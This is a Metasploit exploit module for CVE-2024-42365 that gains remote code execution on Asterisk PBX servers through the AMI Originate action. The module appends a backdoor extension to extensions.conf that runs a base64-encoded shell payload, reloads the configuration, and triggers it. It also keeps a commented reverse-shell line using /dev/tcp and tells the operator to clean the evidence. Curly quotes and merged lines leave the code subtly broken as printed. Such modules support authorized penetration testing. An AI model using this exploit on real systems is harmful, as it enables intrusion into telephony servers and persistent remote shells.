Asterisk AMI Originate Authenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Asterisk
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Asterisk AMI Originate Authenticated RCE’,
‘Description’ => %q{
On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
versions 18.9-cert11 and 20.7-cert2, an AMI user with ‘write=originate’ may change
all configuration files in the ‘/etc/asterisk/’ directory. Writing a new extension
can be created which performs a system command to achieve RCE as the asterisk service
user (typically asterisk).
Default parking lot in FreePBX is called “Default lot” on the website interface,
however its actually ‘parkedcalls’.
Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
},
‘Author’ => [
‘Brendan Coles <bcoles[at]gmail.com>’, # lots of AMI command stuff
‘h00die’, # msf module
‘NielsGaljaard’ # discovery
],
‘References’ => [
[‘URL’, ‘https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44’],
[‘CVE’, ‘2024-42365’]],
‘Platform’ => ‘unix’,
# leaving this for future travelers. I was still not getting 100% payload compatibility
# so there seems to still be another character or two bad, but b64 fixed it.
# ‘Payload’ => {
# # ; is a comment in the extensions.conf file
# ‘BadChars’ => “;\r\n:\”” # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout
# },

# 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)
# `echo “” | base64 -d | sh` == 19 characters
# chatGPT says 908 b64 encoded characters makes 681 pre-encoding.
‘Payload’ => {
‘Space’ => 681
},
‘Targets’ => [
[
‘Unix Command’,
{
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_command
}
],
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘2024-08-08’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE ],
‘SideEffects’ => [ IOC_IN_LOGS, CONFIG_CHANGES],
‘Reliability’ => [ REPEATABLE_SESSION ]},
‘DefaultTarget’ => 0,
‘License’ => MSF_LICENSE
)
)
register_options [
OptString.new(‘CONF’, [true, ‘The extensions configuration file location’, ‘/etc/asterisk/extensions.conf’]),
OptString.new(‘PARKINGLOT’, [true, ‘The extensions and name of the parking lot’, ’70@parkedcalls’]),
OptString.new(‘EXTENSION’, [true, ‘The extension number to backdoor’, Rex::Text.rand_text_numeric(3..5)]),
]register_advanced_options [
OptInt.new(‘TIMEOUT’, [true, ‘Timeout value between AMI commands’, 1]),
]end

def conn?
vprint_status ‘Connecting…’

connect
banner = sock.get_once

unless banner =~ %r{Asterisk Call Manager/([\d.]+)}
print_bad(‘Asterisk Call Manager does not appear to be running’)
return false
end

print_status “Found Asterisk Call Manager version #{::Regexp.last_match(1)}”

unless login(datastore[‘USERNAME’], datastore[‘PASSWORD’])
print_bad(‘Authentication failed’)
return false
end

print_good ‘Authenticated successfully’
true
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error e.message
false
end

def check
# why don’t we check the version numbers?
# we’re connecting to Asterisk Call Manager, which seems to be a sub component
# of asterisk and therefore the version numbers don’t line up. For instance
# Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)
# uses Asterisk Call Manager version 8.0.2.
return CheckCode::Unknown(‘Unable to connect to Asterisk AMI service’) unless conn?

version = get_asterisk_version
disconnect

return CheckCode::Detected(‘Able to connect, unable to determine version’) if !version
if version.between?(Rex::Version.new(‘18.16.0’), Rex::Version.new(‘18.24.2’)) ||
version.between?(Rex::Version.new(’19’), Rex::Version.new(‘20.9.2’)) ||
version.between?(Rex::Version.new(’21’), Rex::Version.new(‘21.4.2’)) ||
version.to_s.include?(‘cert’) &&
(
version.between?(Rex::Version.new(‘18.0-cert1’), Rex::Version.new(‘18.9-cert11’)) ||
version.between?(Rex::Version.new(‘19.0-cert1’), Rex::Version.new(‘20.7-cert2’))
)
return Exploit::CheckCode::Appears(“Exploitable version #{version} found”)
end

return Exploit::CheckCode::Safe(“Unexploitable version #{version} found”)
end

def exploit
fail_with(Failure::NoAccess, ‘Unable to connect or authenticate’) unless conn?

new_context = rand_text_alpha(8..12)
print_status(“Using new context name: #{new_context}”)

print_status(‘Loading conf file’)
req = “Action: Originate\r\n”
req << “Channel: Local/#{datastore[‘PARKINGLOT’]}\r\n”
req << “Application: SET\r\n”
req << “Data: FILE(#{datastore[‘CONF’]},,,al)=[#{new_context}]\r\n”
req << “\r\n”
res = send_command req
res = res.strip.gsub(“\r\n”, ‘, ‘)

if res.include?(‘Response: Error’)
disconnect
fail_with(Failure::UnexpectedReply, “#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT”)
end
vprint_good(” #{res}”)
# since commands are queued, sleeping 1 second is needed for the job to
# execute. This is mentioned in the original writeup: “(you might need to take some time between them).”
Rex.sleep(datastore[‘TIMEOUT’])

print_status(‘Setting backdoor’)
req = “Action: Originate\r\n”
req << “Channel: Local/#{datastore[‘PARKINGLOT’]}\r\n”
req << “Application: SET\r\n”
# from the PoC
# req << “Data: FILE(#{datastore[‘CONF’]},,,al)=exten => #{datastore[‘EXTENSION’]},1,System(/bin/bash -c ‘sh -i >& /dev/tcp/127.0.0.1/4444 0>&1’)\r\n”
req << “Data: FILE(#{datastore[‘CONF’]},,,al)=exten => #{datastore[‘EXTENSION’]},1,System(echo \”#{Base64.strict_encode64(payload.encoded).gsub(“\n”, ”)}\” | base64 -d | sh)\r\n”
req << “\r\n”
res = send_command req
res = res.strip.gsub(“\r\n”, ‘, ‘)

if res.include?(‘Response: Error’)
disconnect
fail_with(Failure::UnexpectedReply, res)
end
vprint_good(” #{res}”)
Rex.sleep(datastore[‘TIMEOUT’])

print_status(‘Reloading config’)
req = “Action: Originate\r\n”
req << “Channel: Local/#{datastore[‘PARKINGLOT’]}\r\n”
req << “Application: Reload\r\n”
req << “Data: pbx_config\r\n”
req << “\r\n”
res = send_command req
res = res.strip.gsub(“\r\n”, ‘, ‘)

if res.include?(‘Response: Error’)
disconnect
fail_with(Failure::UnexpectedReply, res)
end
vprint_good(” #{res}”)
Rex.sleep(datastore[‘TIMEOUT’])

print_status(‘Triggering shellcode’)
req = “Action: Originate\r\n”
req << “Channel: Local/#{datastore[‘EXTENSION’]}@#{new_context}\r\n”
req << “application: Verbose\r\n”
req << “Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n”
req << “\r\n”
send_command req

disconnect
end

def on_new_session(client)
super
print_good(“!!!Don’t forget to clean evidence from #{datastore[‘CONF’]}!!!”)
end
end